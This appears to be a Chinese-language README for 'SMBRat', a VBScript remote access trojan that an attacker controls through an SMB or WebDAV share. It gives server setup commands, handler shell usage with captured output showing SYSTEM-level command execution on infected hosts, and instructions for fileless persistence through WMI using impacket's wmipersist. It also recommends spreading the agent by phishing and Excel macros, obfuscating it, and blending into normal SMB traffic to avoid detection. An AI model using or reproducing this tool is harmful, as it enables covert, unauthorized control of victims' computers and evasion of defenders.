一款使用 Visual Basic 编写的 Windows 远程管理工具,支持 UNC 路径。
一个基于 Visual Basic Script 的 Windows 远程管理工具
在 Active Directory 网络等 Windows 环境 中,SMB 流量会变得非常臃肿。
所有主机都会从 SYSVOL 获取 策略,配置需要远程文件才能工作,桌面快捷方式通常指向 \\something\else\in\the\network.exe。
没有人会注意到多一次连接尝试。对吧?
- 尤其是当它成功时(通常只监控防火墙 拒绝 事件已成为一种时尚)
agent 是一个运行在受感染主机上的 Visual Basic 脚本,它会连接到 SMB 服务器。它在那里创建一个以主机 hostname 和主 MAC 地址命名的目录(同时力求唯一性和信息性,便于报告)。所有针对受感染主机的命令和信息都将存储在此目录中。压缩整个共享文件夹即可归档所有项目信息!
它不使用驱动器字母来挂载共享,而是使用 UNC 路径 直接读取远程文件(explorer.exe 中不会创建驱动器)。
它还将 UNC 路径 注入到自身执行环境的 %PATH% 变量中(你可以直接从 Linux 机器的文件系统运行可执行文件)。
agent 配置为仅运行一次。无状态。
其流程(大致)如下:
exec.dat 的文件cmd.exe /c <command> 将其作为命令执行,类似于半交互式 shell。output.dat 中(位于 exec.dat 旁边)。exec.dat 文件。handler 需要一个 SMB 服务器 才能工作。来自 Core Security 的 impacket 包的 smbserver.py 模块即可。
很可能 smbd 也能胜任,但尚未测试。
需要一个名为 D$ 的共享,使其看起来像合法的 Windows 主机的 SMB。
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
由于 agent 仅配置为使用 UNC 路径,因此 零改动 的情况下也可以使用 WebDAV。
可以使用 WebDAV 服务器 代替 SMB 服务器(一个支持 SSL 的优秀 WebDAV 服务器是 wsgidav)。
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
对于 SSL 支持,UNC 路径需稍微更改,从:
\\<Server-IP>\DIR\
改为:
\\<Server-IP>@SSL@443\DIR\
此更改仅需在 agent.vbs 变量 ServerName 中进行,因为所有路径都由该变量构建。
请注意,SSL 证书必须由运行 agent 的系统信任。自签名证书将失败并发出警告。
可以在 agent.vbs 文件开头添加一个 While 循环,并设置多秒的延迟语句(10 秒是理想值),那么它就能通过双击/钓鱼/Excel 宏等方式感染 Windows 主机。
在 VBS 中,一个包含 1 秒延迟的 while True 循环如下所示:
Do While True
[...]
WScript.Sleep 1000
Loop
然而,如果 Windows 主机启用了 RPC,则可以通过 WMI 和出色的 impacket 包示例,使用类似以下命令将 VBS 文件作为无文件恶意软件安装:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
还可以利用本地访问的 WMI 工具将 agent.vbs 作为无文件恶意软件安装。
Visual Basic 脚本可以很好地进行混淆、base64 编码以及压缩。
在“部署”之前给它“转转”会非常方便 😉
在撰写本文时,尚未实现 因此可以通过使用像 Handler shell,watch 这样的命令来检查 output.dat 文件:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
并使用 echo 向 exec.dat 文件写入内容:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.py实验性 shell 的工作方式如下:
$ python handler.py Share/
SMBRat>
# 当有新主机被感染时:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
如果使用 SMBv1 服务器(例如 impacket 的 smbserver.py),流量(文件内容和路径)将以明文传输。
所有代理都可以修改整个共享中的文件。这意味着它们可以修改其他代理的 exec.dat……
smbmap 会揭示这一点:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
smbmap 缺少 -u 和 -p 参数。这是一个 NULL 会话(类似于 FTP 匿名登录)。每个人都可以更改共享文件,并在所有受感染机器上获得远程代码执行权限。
iptables……输入 execall netsh,你就会失去所有代理。没有一个会响应,因为 agent.vbs 会生成 netsh.exe shell,并等待其终止,以便将其内容写入 output.dat。但猜猜怎么着……它不会终止……它会挂在 netsh> 提示符下,指向虚空。